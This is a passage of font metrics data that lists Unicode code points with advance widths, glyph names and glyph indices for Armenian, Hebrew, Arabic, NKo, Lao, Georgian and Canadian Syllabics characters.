U 1307 ; WX 716 ; N uni051B ; G 1200
U 1308 ; WX 1103 ; N uni051C ; G 1201
U 1309 ; WX 924 ; N uni051D ; G 1202
U 1310 ; WX 817 ; N uni051E ; G 1203
U 1311 ; WX 679 ; N uni051F ; G 1204
U 1312 ; WX 1267 ; N uni0520 ; G 1205
U 1313 ; WX 1059 ; N uni0521 ; G 1206
U 1314 ; WX 1273 ; N uni0522 ; G 1207
U 1315 ; WX 1017 ; N uni0523 ; G 1208
U 1316 ; WX 957 ; N uni0524 ; G 1209
U 1317 ; WX 807 ; N uni0525 ; G 1210
U 1329 ; WX 813 ; N uni0531 ; G 1211
U 1330 ; WX 729 ; N uni0532 ; G 1212
U 1331 ; WX 728 ; N uni0533 ; G 1213
U 1332 ; WX 731 ; N uni0534 ; G 1214
U 1333 ; WX 729 ; N uni0535 ; G 1215
U 1334 ; WX 733 ; N uni0536 ; G 1216
U 1335 ; WX 652 ; N uni0537 ; G 1217
U 1336 ; WX 720 ; N uni0538 ; G 1218
U 1337 ; WX 903 ; N uni0539 ; G 1219
U 1338 ; WX 728 ; N uni053A ; G 1220
U 1339 ; WX 666 ; N uni053B ; G 1221
U 1340 ; WX 558 ; N uni053C ; G 1222
U 1341 ; WX 961 ; N uni053D ; G 1223
U 1342 ; WX 788 ; N uni053E ; G 1224
U 1343 ; WX 713 ; N uni053F ; G 1225
U 1344 ; WX 651 ; N uni0540 ; G 1226
U 1345 ; WX 730 ; N uni0541 ; G 1227
U 1346 ; WX 715 ; N uni0542 ; G 1228
U 1347 ; WX 704 ; N uni0543 ; G 1229
U 1348 ; WX 780 ; N uni0544 ; G 1230
U 1349 ; WX 689 ; N uni0545 ; G 1231
U 1350 ; WX 715 ; N uni0546 ; G 1232
U 1351 ; WX 708 ; N uni0547 ; G 1233
U 1352 ; WX 731 ; N uni0548 ; G 1234
U 1353 ; WX 677 ; N uni0549 ; G 1235
U 1354 ; WX 867 ; N uni054A ; G 1236
U 1355 ; WX 711 ; N uni054B ; G 1237
U 1356 ; WX 780 ; N uni054C ; G 1238
U 1357 ; WX 731 ; N uni054D ; G 1239
U 1358 ; WX 715 ; N uni054E ; G 1240
U 1359 ; WX 693 ; N uni054F ; G 1241
U 1360 ; WX 666 ; N uni0550 ; G 1242
U 1361 ; WX 698 ; N uni0551 ; G 1243
U 1362 ; WX 576 ; N uni0552 ; G 1244
U 1363 ; WX 833 ; N uni0553 ; G 1245
U 1364 ; WX 698 ; N uni0554 ; G 1246
U 1365 ; WX 763 ; N uni0555 ; G 1247
U 1366 ; WX 855 ; N uni0556 ; G 1248
U 1369 ; WX 330 ; N uni0559 ; G 1249
U 1370 ; WX 342 ; N uni055A ; G 1250
U 1371 ; WX 308 ; N uni055B ; G 1251
U 1372 ; WX 374 ; N uni055C ; G 1252
U 1373 ; WX 313 ; N uni055D ; G 1253
U 1374 ; WX 461 ; N uni055E ; G 1254
U 1375 ; WX 468 ; N uni055F ; G 1255
U 1377 ; WX 938 ; N uni0561 ; G 1256
U 1378 ; WX 642 ; N uni0562 ; G 1257
U 1379 ; WX 704 ; N uni0563 ; G 1258
U 1380 ; WX 708 ; N uni0564 ; G 1259
U 1381 ; WX 642 ; N uni0565 ; G 1260
U 1382 ; WX 644 ; N uni0566 ; G 1261
U 1383 ; WX 565 ; N uni0567 ; G 1262
U 1384 ; WX 642 ; N uni0568 ; G 1263
U 1385 ; WX 756 ; N uni0569 ; G 1264
U 1386 ; WX 704 ; N uni056A ; G 1265
U 1387 ; WX 643 ; N uni056B ; G 1266
U 1388 ; WX 310 ; N uni056C ; G 1267
U 1389 ; WX 984 ; N uni056D ; G 1268
U 1390 ; WX 638 ; N uni056E ; G 1269
U 1391 ; WX 643 ; N uni056F ; G 1270
U 1392 ; WX 643 ; N uni0570 ; G 1271
U 1393 ; WX 603 ; N uni0571 ; G 1272
U 1394 ; WX 643 ; N uni0572 ; G 1273
U 1395 ; WX 642 ; N uni0573 ; G 1274
U 1396 ; WX 643 ; N uni0574 ; G 1275
U 1397 ; WX 309 ; N uni0575 ; G 1276
U 1398 ; WX 643 ; N uni0576 ; G 1277
U 1399 ; WX 486 ; N uni0577 ; G 1278
U 1400 ; WX 643 ; N uni0578 ; G 1279
U 1401 ; WX 366 ; N uni0579 ; G 1280
U 1402 ; WX 938 ; N uni057A ; G 1281
U 1403 ; WX 573 ; N uni057B ; G 1282
U 1404 ; WX 666 ; N uni057C ; G 1283
U 1405 ; WX 643 ; N uni057D ; G 1284
U 1406 ; WX 643 ; N uni057E ; G 1285
U 1407 ; WX 934 ; N uni057F ; G 1286
U 1408 ; WX 643 ; N uni0580 ; G 1287
U 1409 ; WX 643 ; N uni0581 ; G 1288
U 1410 ; WX 479 ; N uni0582 ; G 1289
U 1411 ; WX 934 ; N uni0583 ; G 1290
U 1412 ; WX 648 ; N uni0584 ; G 1291
U 1413 ; WX 620 ; N uni0585 ; G 1292
U 1414 ; WX 813 ; N uni0586 ; G 1293
U 1415 ; WX 812 ; N uni0587 ; G 1294
U 1417 ; WX 360 ; N uni0589 ; G 1295
U 1418 ; WX 374 ; N uni058A ; G 1296
U 1456 ; WX 0 ; N uni05B0 ; G 1297
U 1457 ; WX 0 ; N uni05B1 ; G 1298
U 1458 ; WX 0 ; N uni05B2 ; G 1299
U 1459 ; WX 0 ; N uni05B3 ; G 1300
U 1460 ; WX 0 ; N uni05B4 ; G 1301
U 1461 ; WX 0 ; N uni05B5 ; G 1302
U 1462 ; WX 0 ; N uni05B6 ; G 1303
U 1463 ; WX 0 ; N uni05B7 ; G 1304
U 1464 ; WX 0 ; N uni05B8 ; G 1305
U 1465 ; WX 0 ; N uni05B9 ; G 1306
U 1466 ; WX 0 ; N uni05BA ; G 1307
U 1467 ; WX 0 ; N uni05BB ; G 1308
U 1468 ; WX 0 ; N uni05BC ; G 1309
U 1469 ; WX 0 ; N uni05BD ; G 1310
U 1470 ; WX 415 ; N uni05BE ; G 1311
U 1471 ; WX 0 ; N uni05BF ; G 1312
U 1472 ; WX 372 ; N uni05C0 ; G 1313
U 1473 ; WX 0 ; N uni05C1 ; G 1314
U 1474 ; WX 0 ; N uni05C2 ; G 1315
U 1475 ; WX 372 ; N uni05C3 ; G 1316
U 1478 ; WX 497 ; N uni05C6 ; G 1317
U 1479 ; WX 0 ; N uni05C7 ; G 1318
U 1488 ; WX 728 ; N uni05D0 ; G 1319
U 1489 ; WX 610 ; N uni05D1 ; G 1320
U 1490 ; WX 447 ; N uni05D2 ; G 1321
U 1491 ; WX 588 ; N uni05D3 ; G 1322
U 1492 ; WX 687 ; N uni05D4 ; G 1323
U 1493 ; WX 343 ; N uni05D5 ; G 1324
U 1494 ; WX 400 ; N uni05D6 ; G 1325
U 1495 ; WX 687 ; N uni05D7 ; G 1326
U 1496 ; WX 679 ; N uni05D8 ; G 1327
U 1497 ; WX 294 ; N uni05D9 ; G 1328
U 1498 ; WX 578 ; N uni05DA ; G 1329
U 1499 ; WX 566 ; N uni05DB ; G 1330
U 1500 ; WX 605 ; N uni05DC ; G 1331
U 1501 ; WX 696 ; N uni05DD ; G 1332
U 1502 ; WX 724 ; N uni05DE ; G 1333
U 1503 ; WX 343 ; N uni05DF ; G 1334
U 1504 ; WX 453 ; N uni05E0 ; G 1335
U 1505 ; WX 680 ; N uni05E1 ; G 1336
U 1506 ; WX 666 ; N uni05E2 ; G 1337
U 1507 ; WX 675 ; N uni05E3 ; G 1338
U 1508 ; WX 658 ; N uni05E4 ; G 1339
U 1509 ; WX 661 ; N uni05E5 ; G 1340
U 1510 ; WX 653 ; N uni05E6 ; G 1341
U 1511 ; WX 736 ; N uni05E7 ; G 1342
U 1512 ; WX 602 ; N uni05E8 ; G 1343
U 1513 ; WX 758 ; N uni05E9 ; G 1344
U 1514 ; WX 683 ; N uni05EA ; G 1345
U 1520 ; WX 664 ; N uni05F0 ; G 1346
U 1521 ; WX 567 ; N uni05F1 ; G 1347
U 1522 ; WX 519 ; N uni05F2 ; G 1348
U 1523 ; WX 444 ; N uni05F3 ; G 1349
U 1524 ; WX 710 ; N uni05F4 ; G 1350
U 1542 ; WX 667 ; N uni0606 ; G 1351
U 1543 ; WX 667 ; N uni0607 ; G 1352
U 1545 ; WX 884 ; N uni0609 ; G 1353
U 1546 ; WX 1157 ; N uni060A ; G 1354
U 1548 ; WX 380 ; N uni060C ; G 1355
U 1557 ; WX 0 ; N uni0615 ; G 1356
U 1563 ; WX 400 ; N uni061B ; G 1357
U 1567 ; WX 580 ; N uni061F ; G 1358
U 1569 ; WX 511 ; N uni0621 ; G 1359
U 1570 ; WX 343 ; N uni0622 ; G 1360
U 1571 ; WX 343 ; N uni0623 ; G 1361
U 1572 ; WX 622 ; N uni0624 ; G 1362
U 1573 ; WX 343 ; N uni0625 ; G 1363
U 1574 ; WX 917 ; N uni0626 ; G 1364
U 1575 ; WX 343 ; N uni0627 ; G 1365
U 1576 ; WX 1005 ; N uni0628 ; G 1366
U 1577 ; WX 590 ; N uni0629 ; G 1367
U 1578 ; WX 1005 ; N uni062A ; G 1368
U 1579 ; WX 1005 ; N uni062B ; G 1369
U 1580 ; WX 721 ; N uni062C ; G 1370
U 1581 ; WX 721 ; N uni062D ; G 1371
U 1582 ; WX 721 ; N uni062E ; G 1372
U 1583 ; WX 513 ; N uni062F ; G 1373
U 1584 ; WX 513 ; N uni0630 ; G 1374
U 1585 ; WX 576 ; N uni0631 ; G 1375
U 1586 ; WX 576 ; N uni0632 ; G 1376
U 1587 ; WX 1380 ; N uni0633 ; G 1377
U 1588 ; WX 1380 ; N uni0634 ; G 1378
U 1589 ; WX 1345 ; N uni0635 ; G 1379
U 1590 ; WX 1345 ; N uni0636 ; G 1380
U 1591 ; WX 1039 ; N uni0637 ; G 1381
U 1592 ; WX 1039 ; N uni0638 ; G 1382
U 1593 ; WX 683 ; N uni0639 ; G 1383
U 1594 ; WX 683 ; N uni063A ; G 1384
U 1600 ; WX 342 ; N uni0640 ; G 1385
U 1601 ; WX 1162 ; N uni0641 ; G 1386
U 1602 ; WX 894 ; N uni0642 ; G 1387
U 1603 ; WX 917 ; N uni0643 ; G 1388
U 1604 ; WX 868 ; N uni0644 ; G 1389
U 1605 ; WX 733 ; N uni0645 ; G 1390
U 1606 ; WX 854 ; N uni0646 ; G 1391
U 1607 ; WX 590 ; N uni0647 ; G 1392
U 1608 ; WX 622 ; N uni0648 ; G 1393
U 1609 ; WX 917 ; N uni0649 ; G 1394
U 1610 ; WX 917 ; N uni064A ; G 1395
U 1611 ; WX 0 ; N uni064B ; G 1396
U 1612 ; WX 0 ; N uni064C ; G 1397
U 1613 ; WX 0 ; N uni064D ; G 1398
U 1614 ; WX 0 ; N uni064E ; G 1399
U 1615 ; WX 0 ; N uni064F ; G 1400
U 1616 ; WX 0 ; N uni0650 ; G 1401
U 1617 ; WX 0 ; N uni0651 ; G 1402
U 1618 ; WX 0 ; N uni0652 ; G 1403
U 1619 ; WX 0 ; N uni0653 ; G 1404
U 1620 ; WX 0 ; N uni0654 ; G 1405
U 1621 ; WX 0 ; N uni0655 ; G 1406
U 1623 ; WX 0 ; N uni0657 ; G 1407
U 1626 ; WX 500 ; N uni065A ; G 1408
U 1632 ; WX 610 ; N uni0660 ; G 1409
U 1633 ; WX 610 ; N uni0661 ; G 1410
U 1634 ; WX 610 ; N uni0662 ; G 1411
U 1635 ; WX 610 ; N uni0663 ; G 1412
U 1636 ; WX 610 ; N uni0664 ; G 1413
U 1637 ; WX 610 ; N uni0665 ; G 1414
U 1638 ; WX 610 ; N uni0666 ; G 1415
U 1639 ; WX 610 ; N uni0667 ; G 1416
U 1640 ; WX 610 ; N uni0668 ; G 1417
U 1641 ; WX 610 ; N uni0669 ; G 1418
U 1642 ; WX 610 ; N uni066A ; G 1419
U 1643 ; WX 374 ; N uni066B ; G 1420
U 1644 ; WX 380 ; N uni066C ; G 1421
U 1645 ; WX 545 ; N uni066D ; G 1422
U 1646 ; WX 1005 ; N uni066E ; G 1423
U 1647 ; WX 894 ; N uni066F ; G 1424
U 1648 ; WX 0 ; N uni0670 ; G 1425
U 1652 ; WX 292 ; N uni0674 ; G 1426
U 1657 ; WX 1005 ; N uni0679 ; G 1427
U 1658 ; WX 1005 ; N uni067A ; G 1428
U 1659 ; WX 1005 ; N uni067B ; G 1429
U 1660 ; WX 1005 ; N uni067C ; G 1430
U 1661 ; WX 1005 ; N uni067D ; G 1431
U 1662 ; WX 1005 ; N uni067E ; G 1432
U 1663 ; WX 1005 ; N uni067F ; G 1433
U 1664 ; WX 1005 ; N uni0680 ; G 1434
U 1665 ; WX 721 ; N uni0681 ; G 1435
U 1666 ; WX 721 ; N uni0682 ; G 1436
U 1667 ; WX 721 ; N uni0683 ; G 1437
U 1668 ; WX 721 ; N uni0684 ; G 1438
U 1669 ; WX 721 ; N uni0685 ; G 1439
U 1670 ; WX 721 ; N uni0686 ; G 1440
U 1671 ; WX 721 ; N uni0687 ; G 1441
U 1672 ; WX 445 ; N uni0688 ; G 1442
U 1673 ; WX 445 ; N uni0689 ; G 1443
U 1674 ; WX 445 ; N uni068A ; G 1444
U 1675 ; WX 445 ; N uni068B ; G 1445
U 1676 ; WX 445 ; N uni068C ; G 1446
U 1677 ; WX 445 ; N uni068D ; G 1447
U 1678 ; WX 445 ; N uni068E ; G 1448
U 1679 ; WX 445 ; N uni068F ; G 1449
U 1680 ; WX 445 ; N uni0690 ; G 1450
U 1681 ; WX 576 ; N uni0691 ; G 1451
U 1682 ; WX 576 ; N uni0692 ; G 1452
U 1683 ; WX 576 ; N uni0693 ; G 1453
U 1684 ; WX 576 ; N uni0694 ; G 1454
U 1685 ; WX 681 ; N uni0695 ; G 1455
U 1686 ; WX 576 ; N uni0696 ; G 1456
U 1687 ; WX 576 ; N uni0697 ; G 1457
U 1688 ; WX 576 ; N uni0698 ; G 1458
U 1689 ; WX 576 ; N uni0699 ; G 1459
U 1690 ; WX 1380 ; N uni069A ; G 1460
U 1691 ; WX 1380 ; N uni069B ; G 1461
U 1692 ; WX 1380 ; N uni069C ; G 1462
U 1693 ; WX 1345 ; N uni069D ; G 1463
U 1694 ; WX 1345 ; N uni069E ; G 1464
U 1695 ; WX 1039 ; N uni069F ; G 1465
U 1696 ; WX 683 ; N uni06A0 ; G 1466
U 1697 ; WX 1162 ; N uni06A1 ; G 1467
U 1698 ; WX 1162 ; N uni06A2 ; G 1468
U 1699 ; WX 1162 ; N uni06A3 ; G 1469
U 1700 ; WX 1162 ; N uni06A4 ; G 1470
U 1701 ; WX 1162 ; N uni06A5 ; G 1471
U 1702 ; WX 1162 ; N uni06A6 ; G 1472
U 1703 ; WX 894 ; N uni06A7 ; G 1473
U 1704 ; WX 894 ; N uni06A8 ; G 1474
U 1705 ; WX 1024 ; N uni06A9 ; G 1475
U 1706 ; WX 1271 ; N uni06AA ; G 1476
U 1707 ; WX 1024 ; N uni06AB ; G 1477
U 1708 ; WX 917 ; N uni06AC ; G 1478
U 1709 ; WX 917 ; N uni06AD ; G 1479
U 1710 ; WX 917 ; N uni06AE ; G 1480
U 1711 ; WX 1024 ; N uni06AF ; G 1481
U 1712 ; WX 1024 ; N uni06B0 ; G 1482
U 1713 ; WX 1024 ; N uni06B1 ; G 1483
U 1714 ; WX 1024 ; N uni06B2 ; G 1484
U 1715 ; WX 1024 ; N uni06B3 ; G 1485
U 1716 ; WX 1024 ; N uni06B4 ; G 1486
U 1717 ; WX 868 ; N uni06B5 ; G 1487
U 1718 ; WX 868 ; N uni06B6 ; G 1488
U 1719 ; WX 868 ; N uni06B7 ; G 1489
U 1720 ; WX 868 ; N uni06B8 ; G 1490
U 1721 ; WX 854 ; N uni06B9 ; G 1491
U 1722 ; WX 854 ; N uni06BA ; G 1492
U 1723 ; WX 854 ; N uni06BB ; G 1493
U 1724 ; WX 854 ; N uni06BC ; G 1494
U 1725 ; WX 854 ; N uni06BD ; G 1495
U 1726 ; WX 938 ; N uni06BE ; G 1496
U 1727 ; WX 721 ; N uni06BF ; G 1497
U 1734 ; WX 622 ; N uni06C6 ; G 1498
U 1735 ; WX 622 ; N uni06C7 ; G 1499
U 1736 ; WX 622 ; N uni06C8 ; G 1500
U 1739 ; WX 622 ; N uni06CB ; G 1501
U 1740 ; WX 917 ; N uni06CC ; G 1502
U 1742 ; WX 917 ; N uni06CE ; G 1503
U 1744 ; WX 917 ; N uni06D0 ; G 1504
U 1749 ; WX 590 ; N uni06D5 ; G 1505
U 1776 ; WX 610 ; N uni06F0 ; G 1506
U 1777 ; WX 610 ; N uni06F1 ; G 1507
U 1778 ; WX 610 ; N uni06F2 ; G 1508
U 1779 ; WX 610 ; N uni06F3 ; G 1509
U 1780 ; WX 610 ; N uni06F4 ; G 1510
U 1781 ; WX 610 ; N uni06F5 ; G 1511
U 1782 ; WX 610 ; N uni06F6 ; G 1512
U 1783 ; WX 610 ; N uni06F7 ; G 1513
U 1784 ; WX 610 ; N uni06F8 ; G 1514
U 1785 ; WX 610 ; N uni06F9 ; G 1515
U 1984 ; WX 696 ; N uni07C0 ; G 1516
U 1985 ; WX 696 ; N uni07C1 ; G 1517
U 1986 ; WX 696 ; N uni07C2 ; G 1518
U 1987 ; WX 696 ; N uni07C3 ; G 1519
U 1988 ; WX 696 ; N uni07C4 ; G 1520
U 1989 ; WX 696 ; N uni07C5 ; G 1521
U 1990 ; WX 696 ; N uni07C6 ; G 1522
U 1991 ; WX 696 ; N uni07C7 ; G 1523
U 1992 ; WX 696 ; N uni07C8 ; G 1524
U 1993 ; WX 696 ; N uni07C9 ; G 1525
U 1994 ; WX 343 ; N uni07CA ; G 1526
U 1995 ; WX 547 ; N uni07CB ; G 1527
U 1996 ; WX 543 ; N uni07CC ; G 1528
U 1997 ; WX 652 ; N uni07CD ; G 1529
U 1998 ; WX 691 ; N uni07CE ; G 1530
U 1999 ; WX 691 ; N uni07CF ; G 1531
U 2000 ; WX 594 ; N uni07D0 ; G 1532
U 2001 ; WX 691 ; N uni07D1 ; G 1533
U 2002 ; WX 904 ; N uni07D2 ; G 1534
U 2003 ; WX 551 ; N uni07D3 ; G 1535
U 2004 ; WX 551 ; N uni07D4 ; G 1536
U 2005 ; WX 627 ; N uni07D5 ; G 1537
U 2006 ; WX 688 ; N uni07D6 ; G 1538
U 2007 ; WX 444 ; N uni07D7 ; G 1539
U 2008 ; WX 1022 ; N uni07D8 ; G 1540
U 2009 ; WX 506 ; N uni07D9 ; G 1541
U 2010 ; WX 826 ; N uni07DA ; G 1542
U 2011 ; WX 691 ; N uni07DB ; G 1543
U 2012 ; WX 652 ; N uni07DC ; G 1544
U 2013 ; WX 912 ; N uni07DD ; G 1545
U 2014 ; WX 627 ; N uni07DE ; G 1546
U 2015 ; WX 707 ; N uni07DF ; G 1547
U 2016 ; WX 506 ; N uni07E0 ; G 1548
U 2017 ; WX 652 ; N uni07E1 ; G 1549
U 2018 ; WX 574 ; N uni07E2 ; G 1550
U 2019 ; WX 627 ; N uni07E3 ; G 1551
U 2020 ; WX 627 ; N uni07E4 ; G 1552
U 2021 ; WX 627 ; N uni07E5 ; G 1553
U 2022 ; WX 574 ; N uni07E6 ; G 1554
U 2023 ; WX 574 ; N uni07E7 ; G 1555
U 2027 ; WX 0 ; N uni07EB ; G 1556
U 2028 ; WX 0 ; N uni07EC ; G 1557
U 2029 ; WX 0 ; N uni07ED ; G 1558
U 2030 ; WX 0 ; N uni07EE ; G 1559
U 2031 ; WX 0 ; N uni07EF ; G 1560
U 2032 ; WX 0 ; N uni07F0 ; G 1561
U 2033 ; WX 0 ; N uni07F1 ; G 1562
U 2034 ; WX 0 ; N uni07F2 ; G 1563
U 2035 ; WX 0 ; N uni07F3 ; G 1564
U 2036 ; WX 380 ; N uni07F4 ; G 1565
U 2037 ; WX 380 ; N uni07F5 ; G 1566
U 2040 ; WX 691 ; N uni07F8 ; G 1567
U 2041 ; WX 691 ; N uni07F9 ; G 1568
U 2042 ; WX 415 ; N uni07FA ; G 1569
U 3647 ; WX 696 ; N uni0E3F ; G 1570
U 3713 ; WX 790 ; N uni0E81 ; G 1571
U 3714 ; WX 748 ; N uni0E82 ; G 1572
U 3716 ; WX 749 ; N uni0E84 ; G 1573
U 3719 ; WX 569 ; N uni0E87 ; G 1574
U 3720 ; WX 742 ; N uni0E88 ; G 1575
U 3722 ; WX 744 ; N uni0E8A ; G 1576
U 3725 ; WX 761 ; N uni0E8D ; G 1577
U 3732 ; WX 706 ; N uni0E94 ; G 1578
U 3733 ; WX 704 ; N uni0E95 ; G 1579
U 3734 ; WX 747 ; N uni0E96 ; G 1580
U 3735 ; WX 819 ; N uni0E97 ; G 1581
U 3737 ; WX 730 ; N uni0E99 ; G 1582
U 3738 ; WX 727 ; N uni0E9A ; G 1583
U 3739 ; WX 727 ; N uni0E9B ; G 1584
U 3740 ; WX 922 ; N uni0E9C ; G 1585
U 3741 ; WX 827 ; N uni0E9D ; G 1586
U 3742 ; WX 866 ; N uni0E9E ; G 1587
U 3743 ; WX 866 ; N uni0E9F ; G 1588
U 3745 ; WX 836 ; N uni0EA1 ; G 1589
U 3746 ; WX 761 ; N uni0EA2 ; G 1590
U 3747 ; WX 770 ; N uni0EA3 ; G 1591
U 3749 ; WX 769 ; N uni0EA5 ; G 1592
U 3751 ; WX 713 ; N uni0EA7 ; G 1593
U 3754 ; WX 827 ; N uni0EAA ; G 1594
U 3755 ; WX 1031 ; N uni0EAB ; G 1595
U 3757 ; WX 724 ; N uni0EAD ; G 1596
U 3758 ; WX 784 ; N uni0EAE ; G 1597
U 3759 ; WX 934 ; N uni0EAF ; G 1598
U 3760 ; WX 688 ; N uni0EB0 ; G 1599
U 3761 ; WX 0 ; N uni0EB1 ; G 1600
U 3762 ; WX 610 ; N uni0EB2 ; G 1601
U 3763 ; WX 610 ; N uni0EB3 ; G 1602
U 3764 ; WX 0 ; N uni0EB4 ; G 1603
U 3765 ; WX 0 ; N uni0EB5 ; G 1604
U 3766 ; WX 0 ; N uni0EB6 ; G 1605
U 3767 ; WX 0 ; N uni0EB7 ; G 1606
U 3768 ; WX 0 ; N uni0EB8 ; G 1607
U 3769 ; WX 0 ; N uni0EB9 ; G 1608
U 3771 ; WX 0 ; N uni0EBB ; G 1609
U 3772 ; WX 0 ; N uni0EBC ; G 1610
U 3773 ; WX 670 ; N uni0EBD ; G 1611
U 3776 ; WX 516 ; N uni0EC0 ; G 1612
U 3777 ; WX 860 ; N uni0EC1 ; G 1613
U 3778 ; WX 516 ; N uni0EC2 ; G 1614
U 3779 ; WX 650 ; N uni0EC3 ; G 1615
U 3780 ; WX 632 ; N uni0EC4 ; G 1616
U 3782 ; WX 759 ; N uni0EC6 ; G 1617
U 3784 ; WX 0 ; N uni0EC8 ; G 1618
U 3785 ; WX 0 ; N uni0EC9 ; G 1619
U 3786 ; WX 0 ; N uni0ECA ; G 1620
U 3787 ; WX 0 ; N uni0ECB ; G 1621
U 3788 ; WX 0 ; N uni0ECC ; G 1622
U 3789 ; WX 0 ; N uni0ECD ; G 1623
U 3792 ; WX 771 ; N uni0ED0 ; G 1624
U 3793 ; WX 771 ; N uni0ED1 ; G 1625
U 3794 ; WX 693 ; N uni0ED2 ; G 1626
U 3795 ; WX 836 ; N uni0ED3 ; G 1627
U 3796 ; WX 729 ; N uni0ED4 ; G 1628
U 3797 ; WX 729 ; N uni0ED5 ; G 1629
U 3798 ; WX 849 ; N uni0ED6 ; G 1630
U 3799 ; WX 790 ; N uni0ED7 ; G 1631
U 3800 ; WX 759 ; N uni0ED8 ; G 1632
U 3801 ; WX 910 ; N uni0ED9 ; G 1633
U 3804 ; WX 1363 ; N uni0EDC ; G 1634
U 3805 ; WX 1363 ; N uni0EDD ; G 1635
U 4256 ; WX 874 ; N uni10A0 ; G 1636
U 4257 ; WX 733 ; N uni10A1 ; G 1637
U 4258 ; WX 679 ; N uni10A2 ; G 1638
U 4259 ; WX 834 ; N uni10A3 ; G 1639
U 4260 ; WX 615 ; N uni10A4 ; G 1640
U 4261 ; WX 768 ; N uni10A5 ; G 1641
U 4262 ; WX 753 ; N uni10A6 ; G 1642
U 4263 ; WX 914 ; N uni10A7 ; G 1643
U 4264 ; WX 453 ; N uni10A8 ; G 1644
U 4265 ; WX 620 ; N uni10A9 ; G 1645
U 4266 ; WX 843 ; N uni10AA ; G 1646
U 4267 ; WX 882 ; N uni10AB ; G 1647
U 4268 ; WX 625 ; N uni10AC ; G 1648
U 4269 ; WX 854 ; N uni10AD ; G 1649
U 4270 ; WX 781 ; N uni10AE ; G 1650
U 4271 ; WX 629 ; N uni10AF ; G 1651
U 4272 ; WX 912 ; N uni10B0 ; G 1652
U 4273 ; WX 621 ; N uni10B1 ; G 1653
U 4274 ; WX 620 ; N uni10B2 ; G 1654
U 4275 ; WX 854 ; N uni10B3 ; G 1655
U 4276 ; WX 866 ; N uni10B4 ; G 1656
U 4277 ; WX 724 ; N uni10B5 ; G 1657
U 4278 ; WX 630 ; N uni10B6 ; G 1658
U 4279 ; WX 621 ; N uni10B7 ; G 1659
U 4280 ; WX 625 ; N uni10B8 ; G 1660
U 4281 ; WX 620 ; N uni10B9 ; G 1661
U 4282 ; WX 818 ; N uni10BA ; G 1662
U 4283 ; WX 874 ; N uni10BB ; G 1663
U 4284 ; WX 615 ; N uni10BC ; G 1664
U 4285 ; WX 623 ; N uni10BD ; G 1665
U 4286 ; WX 625 ; N uni10BE ; G 1666
U 4287 ; WX 725 ; N uni10BF ; G 1667
U 4288 ; WX 844 ; N uni10C0 ; G 1668
U 4289 ; WX 596 ; N uni10C1 ; G 1669
U 4290 ; WX 688 ; N uni10C2 ; G 1670
U 4291 ; WX 596 ; N uni10C3 ; G 1671
U 4292 ; WX 594 ; N uni10C4 ; G 1672
U 4293 ; WX 738 ; N uni10C5 ; G 1673
U 4304 ; WX 554 ; N uni10D0 ; G 1674
U 4305 ; WX 563 ; N uni10D1 ; G 1675
U 4306 ; WX 622 ; N uni10D2 ; G 1676
U 4307 ; WX 834 ; N uni10D3 ; G 1677
U 4308 ; WX 555 ; N uni10D4 ; G 1678
U 4309 ; WX 564 ; N uni10D5 ; G 1679
U 4310 ; WX 551 ; N uni10D6 ; G 1680
U 4311 ; WX 828 ; N uni10D7 ; G 1681
U 4312 ; WX 563 ; N uni10D8 ; G 1682
U 4313 ; WX 556 ; N uni10D9 ; G 1683
U 4314 ; WX 1074 ; N uni10DA ; G 1684
U 4315 ; WX 568 ; N uni10DB ; G 1685
U 4316 ; WX 568 ; N uni10DC ; G 1686
U 4317 ; WX 814 ; N uni10DD ; G 1687
U 4318 ; WX 554 ; N uni10DE ; G 1688
U 4319 ; WX 563 ; N uni10DF ; G 1689
U 4320 ; WX 823 ; N uni10E0 ; G 1690
U 4321 ; WX 568 ; N uni10E1 ; G 1691
U 4322 ; WX 700 ; N uni10E2 ; G 1692
U 4323 ; WX 591 ; N uni10E3 ; G 1693
U 4324 ; WX 852 ; N uni10E4 ; G 1694
U 4325 ; WX 560 ; N uni10E5 ; G 1695
U 4326 ; WX 814 ; N uni10E6 ; G 1696
U 4327 ; WX 563 ; N uni10E7 ; G 1697
U 4328 ; WX 553 ; N uni10E8 ; G 1698
U 4329 ; WX 568 ; N uni10E9 ; G 1699
U 4330 ; WX 622 ; N uni10EA ; G 1700
U 4331 ; WX 568 ; N uni10EB ; G 1701
U 4332 ; WX 553 ; N uni10EC ; G 1702
U 4333 ; WX 566 ; N uni10ED ; G 1703
U 4334 ; WX 568 ; N uni10EE ; G 1704
U 4335 ; WX 540 ; N uni10EF ; G 1705
U 4336 ; WX 554 ; N uni10F0 ; G 1706
U 4337 ; WX 559 ; N uni10F1 ; G 1707
U 4338 ; WX 553 ; N uni10F2 ; G 1708
U 4339 ; WX 554 ; N uni10F3 ; G 1709
U 4340 ; WX 553 ; N uni10F4 ; G 1710
U 4341 ; WX 587 ; N uni10F5 ; G 1711
U 4342 ; WX 853 ; N uni10F6 ; G 1712
U 4343 ; WX 604 ; N uni10F7 ; G 1713
U 4344 ; WX 563 ; N uni10F8 ; G 1714
U 4345 ; WX 622 ; N uni10F9 ; G 1715
U 4346 ; WX 554 ; N uni10FA ; G 1716
U 4347 ; WX 448 ; N uni10FB ; G 1717
U 4348 ; WX 324 ; N uni10FC ; G 1718
U 5121 ; WX 774 ; N uni1401 ; G 1719
U 5122 ; WX 774 ; N uni1402 ; G 1720
U 5123 ; WX 774 ; N uni1403 ; G 1721
U 5124 ; WX 774 ; N uni1404 ; G 1722
U 5125 ; WX 905 ; N uni1405 ; G 1723
U 5126 ; WX 905 ; N uni1406 ; G 1724
U 5127 ; WX 905 ; N uni1407 ; G 1725
U 5129 ; WX 905 ; N uni1409 ; G 1726
U 5130 ; WX 905 ; N uni140A ; G 1727
U 5131 ; WX 905 ; N uni140B ; G 1728
U 5132 ; WX 1018 ; N uni140C ; G 1729
U 5133 ; WX 1009 ; N uni140D ; G 1730
U 5134 ; WX 1018 ; N uni140E ; G 1731
U 5135 ; WX 1009 ; N uni140F ; G 1732
U 5136 ; WX 1018 ; N uni1410 ; G 1733
U 5137 ; WX 1009 ; N uni1411 ; G 1734
U 5138 ; WX 1149 ; N uni1412 ; G 1735
U 5139 ; WX 1140 ; N uni1413 ; G 1736
U 5140 ; WX 1149 ; N uni1414 ; G 1737
U 5141 ; WX 1140 ; N uni1415 ; G 1738
U 5142 ; WX 905 ; N uni1416 ; G 1739
U 5143 ; WX 1149 ; N uni1417 ; G 1740
U 5144 ; WX 1142 ; N uni1418 ; G 1741
U 5145 ; WX 1149 ; N uni1419 ; G 1742
U 5146 ; WX 1142 ; N uni141A ; G 1743
U 5147 ; WX 905 ; N uni141B ; G 1744
U 5149 ; WX 310 ; N uni141D ; G 1745
